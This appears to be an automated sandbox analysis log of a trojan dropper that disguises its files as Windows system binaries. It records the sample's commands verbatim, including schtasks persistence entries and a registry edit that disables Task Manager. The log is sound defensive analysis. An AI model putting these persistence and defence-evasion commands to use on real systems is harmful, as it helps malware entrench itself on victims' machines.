            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348E2EFA20_2_00007FFD348E2EFA
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348D872420_2_00007FFD348D8724
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348E1A9A20_2_00007FFD348E1A9A
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348D67F320_2_00007FFD348D67F3
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348D883020_2_00007FFD348D8830
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348D682820_2_00007FFD348D6828
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348B369520_2_00007FFD348B3695
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 23_2_00007FFD348A369523_2_00007FFD348A3695
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeCode function: 24_2_00007FFD3489369524_2_00007FFD34893695
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: String function: 00EFED00 appears 31 times
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: String function: 00EFE28C appears 35 times
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: String function: 00EFE360 appears 52 times
            Source: Blockreview.exe.0.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
            Source: backgroundTaskHost.exe.6.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
            Source: winlogon.exe.6.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
            Source: GNUCXbYadp.exe, 00000000.00000003.2074613027.0000000006ADC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibGLESv2.dll4 vs GNUCXbYadp.exe
            Source: GNUCXbYadp.exe, 00000000.00000003.2075147044.000000000542A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibGLESv2.dll4 vs GNUCXbYadp.exe
            Source: GNUCXbYadp.exeBinary or memory string: OriginalFilenamelibGLESv2.dll4 vs GNUCXbYadp.exe
            Source: GNUCXbYadp.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
            Source: 20.2.backgroundTaskHost.exe.2a202a8.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
            Source: 6.2.Blockreview.exe.3374198.13.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
            Source: Blockreview.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: backgroundTaskHost.exe.6.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: winlogon.exe.6.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, dGKehjSFo4MRDvGcKgs.csCryptographic APIs: 'TransformBlock'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, dGKehjSFo4MRDvGcKgs.csCryptographic APIs: 'TransformFinalBlock'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, txqHHcIAn3cG2gpMFUv.csCryptographic APIs: 'CreateDecryptor'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, txqHHcIAn3cG2gpMFUv.csCryptographic APIs: 'CreateDecryptor'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, dGKehjSFo4MRDvGcKgs.csCryptographic APIs: 'TransformBlock'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, dGKehjSFo4MRDvGcKgs.csCryptographic APIs: 'TransformFinalBlock'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, txqHHcIAn3cG2gpMFUv.csCryptographic APIs: 'CreateDecryptor'
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, txqHHcIAn3cG2gpMFUv.csCryptographic APIs: 'CreateDecryptor'
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, xy2o9FrQ7HFyV9bwvSX.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
            Source: 0.3.GNUCXbYadp.exe.6b29627.0.raw.unpack, xy2o9FrQ7HFyV9bwvSX.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, xy2o9FrQ7HFyV9bwvSX.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
            Source: 0.3.GNUCXbYadp.exe.5477627.1.raw.unpack, xy2o9FrQ7HFyV9bwvSX.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: classification engineClassification label: mal100.troj.evad.winEXE@26/13@1/1
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE6EC9 GetLastError,FormatMessageW,0_2_00EE6EC9
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF9E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,0_2_00EF9E1C
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile created: C:\Users\Default\Videos\winlogon.exeJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeMutant created: NULL
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\b8935de22add7cbf9d1560d4d0bac75d7ba4bfc8
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6256:120:WilError_03
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat" "
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\file.vbs"
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCommand line argument: sfxname0_2_00EFD5D4
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCommand line argument: sfxstime0_2_00EFD5D4
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCommand line argument: STARTDLG0_2_00EFD5D4
            Source: GNUCXbYadp.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: GNUCXbYadp.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeFile read: C:\Windows\win.iniJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: GNUCXbYadp.exeReversingLabs: Detection: 71%
            Source: GNUCXbYadp.exeVirustotal: Detection: 52%
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeFile read: C:\Users\user\Desktop\GNUCXbYadp.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\GNUCXbYadp.exe "C:\Users\user\Desktop\GNUCXbYadp.exe"
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe"
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\file.vbs"
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat" "
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\BrowserreviewSavesruntimeperf\Blockreview.exe "C:\BrowserreviewSavesruntimeperf\Blockreview.exe"
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkj" /sc ONLOGON /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /rl HIGHEST /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /rl HIGHEST /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Videos\winlogon.exe'" /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default\Videos\winlogon.exe'" /rl HIGHEST /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Videos\winlogon.exe'" /rl HIGHEST /f
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe"
            Source: unknownProcess created: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
            Source: unknownProcess created: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe" Jump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\file.vbs" Jump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat" "Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\BrowserreviewSavesruntimeperf\Blockreview.exe "C:\BrowserreviewSavesruntimeperf\Blockreview.exe" Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /fJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe" Jump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: dxgidebug.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: riched20.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: usp10.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: msls31.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: windowscodecs.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: policymanager.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: msvcp110_win.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: slc.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: pcacli.dllJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dlnashext.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wpdshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: version.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: wldp.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: profapi.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: amsi.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: userenv.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: propsys.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: edputil.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeSection loaded: srvcli.dllJump to behavior
